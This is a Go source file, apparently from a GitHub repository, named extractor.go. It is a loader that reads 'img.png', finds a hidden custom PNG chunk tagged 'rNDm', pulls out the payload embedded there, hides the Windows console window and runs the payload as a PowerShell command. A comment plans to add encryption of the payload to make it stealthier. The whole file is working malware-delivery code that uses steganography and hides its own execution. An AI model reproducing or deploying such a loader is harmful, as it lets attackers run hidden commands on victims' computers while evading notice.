-
Notifications
You must be signed in to change notification settings - Fork 0
/
extractor.go
98 lines (77 loc) · 1.81 KB
/
extractor.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
//todo encrypt payload before injection, decrypt at execution
package main
import (
"io/ioutil"
"log"
"os"
"os/exec"
"syscall"
)
const (
SW_HIDE = 0
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetConsole = kernel32.NewProc("GetConsoleWindow")
user32 = syscall.NewLazyDLL("user32.dll")
procShowWindow = user32.NewProc("ShowWindow")
)
func main() {
inputFilePath := "img.png"
file, err := os.Open(inputFilePath)
if err != nil {
log.Fatal(err)
}
defer file.Close()
fileContent, err := ioutil.ReadAll(file)
if err != nil {
log.Fatal(err)
}
rNDmOffset := findRNDmSegmentOffset(fileContent)
if rNDmOffset == -1 {
return
}
payload := fileContent[rNDmOffset+8:]
if len(payload) > 16 {
payload = payload[:len(payload)-16]
} else {
payload = nil
}
if len(payload) > 0 {
hideConsoleWindow()
err := executePayload(payload)
if err != nil {
return
}
}
}
func findRNDmSegmentOffset(fileContent []byte) int {
offset := 8
for offset < len(fileContent) {
length := int(fileContent[offset])<<24 | int(fileContent[offset+1])<<16 |
int(fileContent[offset+2])<<8 | int(fileContent[offset+3])
chunk := string(fileContent[offset+4 : offset+8])
if chunk == "rNDm" {
return offset
}
offset += 12 + length
}
return -1
}
func executePayload(payload []byte) error {
cmd := exec.Command("powershell", "-Command", string(payload))
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
return cmd.Run()
}
func hideConsoleWindow() {
consoleHandle, _, _ := procGetConsole.Call()
if consoleHandle == 0 {
log.Println("Failed to get console window handle.")
return
}
_, _, err := procShowWindow.Call(consoleHandle, uintptr(SW_HIDE))
if err != nil && err.Error() != "The operation completed successfully." {
log.Println("Failed to hide console window:", err)
}
}